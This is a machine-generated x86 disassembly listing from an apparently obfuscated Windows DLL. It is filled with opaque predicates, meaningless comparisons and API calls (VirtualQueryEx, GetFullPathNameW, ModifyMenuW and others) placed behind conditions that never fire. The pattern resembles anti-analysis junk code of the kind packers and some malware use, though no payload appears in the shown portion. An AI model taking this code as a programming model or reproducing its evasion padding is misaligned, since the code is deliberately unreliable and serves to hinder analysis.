cmp dword [ebp - 0xb4], eax
jge 0x1000abb6
mov dword [ebp - 0x4ac], 1
jmp 0x1000abbd
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x4ac], eax
jne 0x1000abd7
mov dword [ebp - 0x8b0], 1
jmp 0x1000abde
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x8b0], eax
jg 0x1000abf8
mov dword [ebp - 0x4b4], 1
jmp 0x1000abff
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0x4b4]
je 0x1000ac22
cmp dword [ebp - 0xb4], 0
je 0x1000ac22
mov dword [ebp - 0x8b8], 1
jmp 0x1000ac29
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x8b8], eax
je 0x1000ac43
mov dword [ebp - 0x4bc], 1
jmp 0x1000ac4a
and dword [ebp - 0x4bc], 0
cmp dword [ebp - 0x4bc], 0x355fff83
jge 0x1000ac62
mov dword [ebp - 0x8c0], 1
jmp 0x1000ac69
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x8c0]
je 0x1000ac89
cmp dword [ebp - 0xa40], 0
je 0x1000ac89
mov dword [ebp - 0xb1c], 1
jmp 0x1000ac90
and dword [ebp - 0xb1c], 0
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x1000aca3
mov dword [ebp - 0x4c4], 1
jmp 0x1000acaa
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0xa48], eax
mov dword [ebp - 0x7c], 0
jmp 0x1000acc6
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x26
jl 0x1000ad1c
mov dword [ebp - 0x8c8], 0
cmp dword [ebp - 0x7c], 1
je 0x1000acfa
mov eax, 0xed76
test eax, eax
je 0x1000acfa
cmp dword [ebp - 0x8c8], 0
je 0x1000acfa
mov dword [ebp - 0x4cc], 1
jmp 0x1000ad01
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x8c8]
sub eax, dword [ebp - 0x4cc]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xf54], eax
jmp 0x1000acbf
mov dword [ebp - 0x1c], 0x5b9b55bb
mov dword [ebp - 0x29c], 3
mov dword [ebp - 0xb44], 0x105a
mov dword [ebp - 0x4f4], 0xbda73a15
mov dword [ebp - 0x1f0], 0
jmp 0x1000ad5a
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jge 0x1000ad76
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0x1f8], 1
jmp 0x1000ad4d
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x1000ad9c
push 0
push 0xd5b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov dword [ebp - 0x29c], 0
jmp 0x1000adb5
mov eax, dword [ebp - 0x29c]
dec eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xfffffffd
jg 0x1000b02a
mov dword [ebp - 0x380], 0xffffffff
mov dword [ebp - 0x8d0], 0x4aee
mov dword [ebp - 0x9c], 0
jmp 0x1000adef
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 4
jge 0x1000ae0b
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xf2c], 0
jmp 0x1000ade2
mov dword [ebp - 0x9c], 0
jmp 0x1000ae24
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 4
jge 0x1000ae40
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xc34], 0xffffffff
jmp 0x1000ae17
mov eax, dword [ebp - 0x380]
mov ecx, dword [ebp - 0x380]
dec ecx
mov dword [ebp - 0x380], ecx
test eax, eax
je 0x1000af21
mov eax, 0x246c
test eax, eax
je 0x1000ae87
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x1000ae87
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1f8], 0
je 0x1000ae87
mov dword [ebp - 0x4d4], 1
jmp 0x1000ae8e
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x8d0]
cmp dword [ebp - 0xb44], eax
jne 0x1000aeb8
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xc34], 0
je 0x1000aeb8
mov dword [ebp - 0xa50], 1
jmp 0x1000aebf
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0xe1c], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1f8]
add ecx, dword [ebp - 0x4d4]
cmp dword [ebp + eax - 0xc34], ecx
je 0x1000aef9
mov dword [ebp - 0x8d8], 1
jmp 0x1000af00
and dword [ebp - 0x8d8], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xf2c]
cmp dword [ebp - 0x8d8], eax
je 0x1000af21
mov dword [ebp - 0x4dc], 1
jmp 0x1000af28
and dword [ebp - 0x4dc], 0
cmp dword [ebp - 0x4dc], 0x1d77f172
je 0x1000af40
mov dword [ebp - 0x8e0], 1
jmp 0x1000af47
and dword [ebp - 0x8e0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8e0]
mov dword [ebp + eax - 0x1f8], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc34], 0
je 0x1000afdd
cmp dword [ebp - 0x4f4], 0
jl 0x1000af7f
mov dword [ebp - 0x4e4], 1
jmp 0x1000af86
and dword [ebp - 0x4e4], 0
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xc34], 1
ja 0x1000afa2
mov dword [ebp - 0x8e8], 1
jmp 0x1000afa9
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x4e4]
cmp eax, dword [ebp - 0x8e8]
jl 0x1000afc3
mov dword [ebp - 0x388], 1
jmp 0x1000afca
and dword [ebp - 0x388], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x388]
mov dword [ebp + eax - 0x1f8], ecx
mov eax, 0x71d0
imul eax, eax, 0
cmp eax, 6
jae 0x1000aff6
mov dword [ebp - 0x4ec], 1
jmp 0x1000affd
and dword [ebp - 0x4ec], 0
cmp dword [ebp - 0x4ec], 0
jne 0x1000b012
mov dword [ebp - 0x8f0], 1
jmp 0x1000b019
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x8f0]
mov dword [ebp - 0x4f4], eax
jmp 0x1000ada8
mov dword [ebp - 0x5c], 0xffffffff
mov dword [ebp - 0x2a4], 0
jmp 0x1000b04a
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 3
jge 0x1000b066
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0xf08], 1
jmp 0x1000b03d
mov dword [ebp - 0x5c], 0
jmp 0x1000b076
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xfffffff0
jne 0x1000b0a1
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x1000b09f
push 0x91e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x1000b06f
mov dword [ebp - 0x5c], 0
jmp 0x1000b0b1
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xffffffe6
je 0x1000b26a
mov dword [ebp - 0xe0], 0xf8067e30
mov dword [ebp - 0x84], 0
jmp 0x1000b0de
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x1000b0fa
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0xbc4], 0
jmp 0x1000b0d1
mov dword [ebp - 0x84], 0
jmp 0x1000b113
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x1000b12f
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0xbd4], 0xffffffff
jmp 0x1000b106
mov dword [ebp - 0xe0], 1
jmp 0x1000b148
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jl 0x1000b256
mov dword [ebp - 0xb28], 0xffffffff
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0xbc4]
mov dword [ebp - 0xc48], eax
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe0]
cmp dword [ebp + eax*4 - 0xbc4], ecx
jne 0x1000b193
mov dword [ebp - 0x8f8], 1
jmp 0x1000b19a
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x8f8], eax
jle 0x1000b1b1
mov dword [ebp - 0x384], 1
jmp 0x1000b1b8
and dword [ebp - 0x384], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x384]
mov dword [ebp + eax - 0xbd4], ecx
cmp dword [ebp - 0x384], 0
jne 0x1000b1f6
mov eax, 0x6fc6088b
test eax, eax
jne 0x1000b1f6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbd4], 0
jne 0x1000b1f6
and dword [ebp - 0x4fc], 0
jmp 0x1000b200
mov dword [ebp - 0x4fc], 1
cmp dword [ebp - 0x4fc], 0x8a27
jne 0x1000b218
mov dword [ebp - 0x900], 1
jmp 0x1000b21f
and dword [ebp - 0x900], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x900]
mov dword [ebp - 0xb28], eax
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x1000b251
push 0
push 0
push 0x1bf
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
jmp 0x1000b13b
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x5c]
mov dword [ebp + eax - 0xf08], ecx
jmp 0x1000b0aa
mov dword [ebp - 0x904], 6
mov dword [ebp - 0x600], 0xc58d4ccf
mov dword [ebp - 0x64], 0x1f94964a
mov dword [ebp - 0x3c], 0x7921
mov dword [ebp - 0x2ac], 0x509b955
mov dword [ebp - 0x24], 0x99e1f953
mov dword [ebp - 0x140], 0xa9d707d8
mov dword [ebp - 0xa60], 1
mov dword [ebp - 0x988], 0xffffffff
mov dword [ebp - 0x200], 0
jmp 0x1000b2d4
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 4
jge 0x1000b2f0
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x3c8], 0x54668dac
jmp 0x1000b2c7
mov eax, dword [ebp - 0x3c]
dec eax
sub eax, dword [ebp - 0x64]
neg eax
jne 0x1000b30a
cmp dword [ebp - 0x64], 0
jne 0x1000b30a
and dword [ebp - 0x504], 0
jmp 0x1000b314
mov dword [ebp - 0x504], 1
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x504], eax
jle 0x1000b32b
mov dword [ebp - 0x908], 1
jmp 0x1000b332
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x908], eax
jge 0x1000b349
mov dword [ebp - 0x50c], 1
jmp 0x1000b350
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x50c], eax
jge 0x1000b367
mov dword [ebp - 0x910], 1
jmp 0x1000b36e
and dword [ebp - 0x910], 0
cmp dword [ebp - 0x910], 0x2522
jl 0x1000b386
mov dword [ebp - 0x514], 1
jmp 0x1000b38d
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x514]
jg 0x1000b3a4
mov dword [ebp - 0x918], 1
jmp 0x1000b3ab
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x918], eax
jg 0x1000b3c2
mov dword [ebp - 0x51c], 1
jmp 0x1000b3c9
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x51c], eax
jne 0x1000b3e0
mov dword [ebp - 0x920], 1
jmp 0x1000b3e7
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x920], eax
jge 0x1000b3fe
mov dword [ebp - 0x524], 1
jmp 0x1000b405
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x524], eax
jne 0x1000b41c
mov dword [ebp - 0x374], 1
jmp 0x1000b423
and dword [ebp - 0x374], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x374]
mov dword [ebp + eax - 0x3c8], ecx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x374]
jl 0x1000b453
mov eax, 0x63e91cb6
test eax, eax
jne 0x1000b453
and dword [ebp - 0x928], 0
jmp 0x1000b45d
mov dword [ebp - 0x928], 1
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
jne 0x1000b484
mov eax, 0x385d06f
test eax, eax
jne 0x1000b484
and dword [ebp - 0xa58], 0
jmp 0x1000b48e
mov dword [ebp - 0xa58], 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd84], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x3c8], 0x1caf
je 0x1000b4b6
mov dword [ebp - 0x52c], 1
jmp 0x1000b4bd
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x24], eax
jge 0x1000b4da
mov dword [ebp - 0x930], 1
jmp 0x1000b4e1
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x930]
inc eax
inc eax
cmp eax, dword [ebp - 0x64]
jne 0x1000b500
cmp dword [ebp - 0x24], 0
je 0x1000b500
mov dword [ebp - 0xb4c], 1
jmp 0x1000b507
and dword [ebp - 0xb4c], 0
imul eax, dword [ebp - 0x64], 0x67d
add eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x64], eax
jl 0x1000b522
mov dword [ebp - 0x534], 1
jmp 0x1000b529
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x3c], 0
jmp 0x1000b545
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x18
jl 0x1000bb4f
mov dword [ebp - 0x350], 0x880e
mov dword [ebp - 0x2b4], 7
mov dword [ebp - 0x180], 0xca0f9639
mov byte [ebp - 0x12d], 0
movzx eax, byte [ebp - 0x12d]
test eax, eax
je 0x1000b595
push 0
push 0
push 0x1d28
push 0x1095
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
mov dword [ebp - 0x24], 0
jmp 0x1000b5a5
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jg 0x1000bb4a
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x308], 6
mov dword [ebp - 0xbb0], 0xb88b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3c8]
mov dword [ebp - 0xc50], eax
cmp dword [ebp - 0x140], 0
jne 0x1000b5f2
mov dword [ebp - 0x938], 1
jmp 0x1000b5f9
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0xa60]
cmp dword [ebp - 0x938], eax
je 0x1000b613
mov dword [ebp - 0x53c], 1
jmp 0x1000b61a
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0x53c], eax
jle 0x1000b634
mov dword [ebp - 0x940], 1
jmp 0x1000b63b
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3c8]
cmp dword [ebp - 0x940], eax
jge 0x1000b659
mov dword [ebp - 0x544], 1
jmp 0x1000b660
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3c8]
cmp dword [ebp - 0x544], eax
je 0x1000b67e
mov dword [ebp - 0x948], 1
jmp 0x1000b685
and dword [ebp - 0x948], 0
cmp dword [ebp - 0x948], 0x4bcb
jge 0x1000b69d
mov dword [ebp - 0x54c], 1
jmp 0x1000b6a4
and dword [ebp - 0x54c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x3c8]
imul eax, dword [ebp - 0x54c]
test eax, eax
jne 0x1000b6ce
mov eax, 0x90942075
test eax, eax
jne 0x1000b6ce
and dword [ebp - 0x950], 0
jmp 0x1000b6d8
mov dword [ebp - 0x950], 1
cmp dword [ebp - 0x950], 0xfffffff9
jne 0x1000b6ed
mov dword [ebp - 0x554], 1
jmp 0x1000b6f4
and dword [ebp - 0x554], 0
imul eax, dword [ebp - 0x554], 0
cmp eax, dword [ebp - 0x350]
jge 0x1000b715
cmp dword [ebp - 0x2b4], 0
jne 0x1000b715
and dword [ebp - 0x958], 0
jmp 0x1000b71f
mov dword [ebp - 0x958], 1
mov eax, dword [ebp - 0x180]
cmp dword [ebp - 0x958], eax
jle 0x1000b739
mov dword [ebp - 0x55c], 1
jmp 0x1000b740
and dword [ebp - 0x55c], 0
cmp dword [ebp - 0x55c], 0x22c2
jge 0x1000b758
mov dword [ebp - 0x960], 1
jmp 0x1000b75f
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3c8]
cmp dword [ebp - 0x960], eax
jl 0x1000b88b
mov dword [ebp - 0xb54], 0xd870
mov eax, dword [ebp - 0xb54]
dec eax
je 0x1000b7f4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3c8]
cmp dword [ebp - 0x140], eax
jl 0x1000b7b0
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x3c8], 0
jne 0x1000b7b0
and dword [ebp - 0x564], 0
jmp 0x1000b7ba
mov dword [ebp - 0x564], 1
mov eax, 0x6174ed7b
sub eax, dword [ebp - 0x564]
cmp eax, 0xda298b23
jbe 0x1000b7d8
mov dword [ebp - 0x968], 1
jmp 0x1000b7df
and dword [ebp - 0x968], 0
cmp dword [ebp - 0x968], 0xffffffff
ja 0x1000b7f4
mov dword [ebp - 0x56c], 1
jmp 0x1000b7fb
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0xfbba
jge 0x1000b813
mov dword [ebp - 0x300], 1
jmp 0x1000b81a
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x300]
mov dword [ebp + eax*4 - 0x3c8], ecx
mov eax, dword [ebp - 0x210]
cmp dword [ebp - 0x300], eax
jne 0x1000b844
mov dword [ebp - 0x970], 1
jmp 0x1000b84b
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0x970], eax
je 0x1000b86b
cmp dword [ebp - 0x210], 0
jne 0x1000b86b
and dword [ebp - 0x574], 0
jmp 0x1000b875
mov dword [ebp - 0x574], 1
mov eax, dword [ebp - 0x574]
add eax, 0x1179
mov dword [ebp - 0x988], eax
jmp 0x1000b950
mov dword [ebp - 0x208], 0
jmp 0x1000b8a4
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 4
jge 0x1000b8c0
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0xf44], 0x74211fa8
jmp 0x1000b897
cmp dword [ebp - 0x350], 0
je 0x1000b8de
cmp dword [ebp - 0x2b4], 0
je 0x1000b8de
mov dword [ebp - 0xa68], 1
jmp 0x1000b8e5
and dword [ebp - 0xa68], 0
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0xdf4], eax
mov eax, dword [ebp - 0x308]
add eax, 3
cmp dword [ebp - 0x140], eax
jne 0x1000b90e
mov dword [ebp - 0x978], 1
jmp 0x1000b915
and dword [ebp - 0x978], 0
imul eax, dword [ebp - 0x978], 0x98f9
cmp eax, 3
je 0x1000b930
mov dword [ebp - 0x57c], 1
jmp 0x1000b937
and dword [ebp - 0x57c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x57c]
sub ecx, dword [ebp + eax - 0xf44]
mov dword [ebp - 0x180], ecx
mov eax, dword [ebp - 0x180]
imul eax, dword [ebp - 0x350]
cmp eax, dword [ebp - 0x180]
jl 0x1000b971
mov dword [ebp - 0x980], 1
jmp 0x1000b978
and dword [ebp - 0x980], 0
cmp dword [ebp - 0x980], 0
jle 0x1000b98d
mov dword [ebp - 0x584], 1
jmp 0x1000b994
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xc58], eax
mov eax, dword [ebp - 0x988]
mov dword [ebp - 0xd8c], eax
or eax, 0xffffffff
add eax, 0xf2706978
jne 0x1000b9d2
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x1000b9d2
and dword [ebp - 0x58c], 0
jmp 0x1000b9dc
mov dword [ebp - 0x58c], 1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3c8]
cmp eax, dword [ebp - 0x58c]
jne 0x1000b9fa
mov dword [ebp - 0x990], 1
jmp 0x1000ba01
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x990], eax
jge 0x1000ba1b
mov dword [ebp - 0x594], 1
jmp 0x1000ba22
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x594], eax
jl 0x1000ba42
cmp dword [ebp - 0x2b4], 0
je 0x1000ba42
mov dword [ebp - 0x998], 1
jmp 0x1000ba49
and dword [ebp - 0x998], 0
cmp dword [ebp - 0x998], 1
jge 0x1000ba5e
mov dword [ebp - 0x59c], 1
jmp 0x1000ba65
and dword [ebp - 0x59c], 0
cmp dword [ebp - 0x59c], 0x8187ea63
jbe 0x1000ba81
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x1000ba81
and dword [ebp - 0x9a0], 0
jmp 0x1000ba8b
mov dword [ebp - 0x9a0], 1
cmp dword [ebp - 0x9a0], 4
jne 0x1000baa0
mov dword [ebp - 0x9a8], 1
jmp 0x1000baa7
and dword [ebp - 0x9a8], 0
cmp dword [ebp - 0x9a8], 0xc19daac0
jbe 0x1000babf
mov dword [ebp - 0x5a8], 1
jmp 0x1000bac6
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x3c8]
cmp eax, dword [ebp - 0x210]
jl 0x1000baf0
mov dword [ebp - 0x8f4], 1
jmp 0x1000baf7
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x180]
cmp dword [ebp - 0x8f4], eax
jl 0x1000bb11
mov dword [ebp - 0x5b0], 1
jmp 0x1000bb18
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x5b0], eax
jg 0x1000bb32
mov dword [ebp - 0x7e4], 1
jmp 0x1000bb39
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0xbb0], eax
jmp 0x1000b59e
jmp 0x1000b53e
mov dword [ebp - 0xb78], 1
mov dword [ebp - 0x1c], 0
jmp 0x1000bb69
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 6
jle 0x1000bfb6
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x2bc], 0xfffffffa
mov dword [ebp - 0xe8], 0xfffffff6
mov dword [ebp - 0xa70], 0xb58e
mov dword [ebp - 0xc60], 0xa77b
mov dword [ebp - 0x10], 0
jmp 0x1000bbb2
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1000bbc8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xec0], 0x59e57ad9
jmp 0x1000bbab
mov dword [ebp - 0x10], 0
jmp 0x1000bbd8
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1000bbee
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf9c], 0xffffffff
jmp 0x1000bbd1
mov dword [ebp - 0x10], 0
jmp 0x1000bbfe
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1000bc14
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfd4], 0xffffffff
jmp 0x1000bbf7
mov dword [ebp - 0x10], 0
jmp 0x1000bc24
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1000bc3a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbe4], 0xde360abe
jmp 0x1000bc1d
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa70]
mov dword [ebp + eax - 0xec0], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbe4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xbe4], eax
cmp dword [ebp - 0x1c], 0
jne 0x1000bda9
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xe34], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jne 0x1000bc87
xor eax, eax
inc eax
jne 0x1000bc99
mov eax, 0x6d8f
test eax, eax
jne 0x1000bc99
and dword [ebp - 0x5b8], 0
jmp 0x1000bca3
mov dword [ebp - 0x5b8], 1
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x5b8], eax
jne 0x1000bcba
mov dword [ebp - 0x9c4], 1
jmp 0x1000bcc1
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x2bc], eax
mov eax, 0xffff
test eax, eax
je 0x1000bcf4
cmp dword [ebp - 0x2bc], 0
je 0x1000bcf4
mov eax, 0xfff7
test eax, eax
je 0x1000bcf4
mov dword [ebp - 0x5c0], 1
jmp 0x1000bcfb
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x5c0], eax
jne 0x1000bd12
mov dword [ebp - 0x7ec], 1
jmp 0x1000bd19
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x7ec], eax
jg 0x1000bd30
mov dword [ebp - 0x5c8], 1
jmp 0x1000bd37
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x5c8]
cmp eax, 1
jl 0x1000bd51
mov dword [ebp - 0x8fc], 1
jmp 0x1000bd58
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x8fc]
jne 0x1000bd6f
mov dword [ebp - 0x5d0], 1
jmp 0x1000bd76
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x5d0], eax
jl 0x1000bd8d
mov dword [ebp - 0xb38], 1
jmp 0x1000bd94
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x1000bda9
and dword [ebp - 0x7f4], 0
jmp 0x1000bdb3
mov dword [ebp - 0x7f4], 1
cmp dword [ebp - 0x7f4], 0xfe9a5a16
je 0x1000bdcb
mov dword [ebp - 0x5d8], 1
jmp 0x1000bdd2
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x5d8], eax
jl 0x1000bdec
mov dword [ebp - 0x984], 1
jmp 0x1000bdf3
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x984]
add eax, 0xf448
je 0x1000be15
mov eax, 0x4486
test eax, eax
je 0x1000be15
mov dword [ebp - 0x5e0], 1
jmp 0x1000be1c
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0xe8]
imul eax, dword [ebp - 0x5e0]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc68], eax
mov eax, dword [ebp - 0x44]
dec eax
jne 0x1000be4d
mov dword [ebp - 0x5f8], 1
jmp 0x1000be54
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0xd94], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jne 0x1000be87
cmp dword [ebp - 0x1c], 0
jne 0x1000be87
cmp dword [ebp - 0x1c], 0
jne 0x1000be87
and dword [ebp - 0x7fc], 0
jmp 0x1000be91
mov dword [ebp - 0x7fc], 1
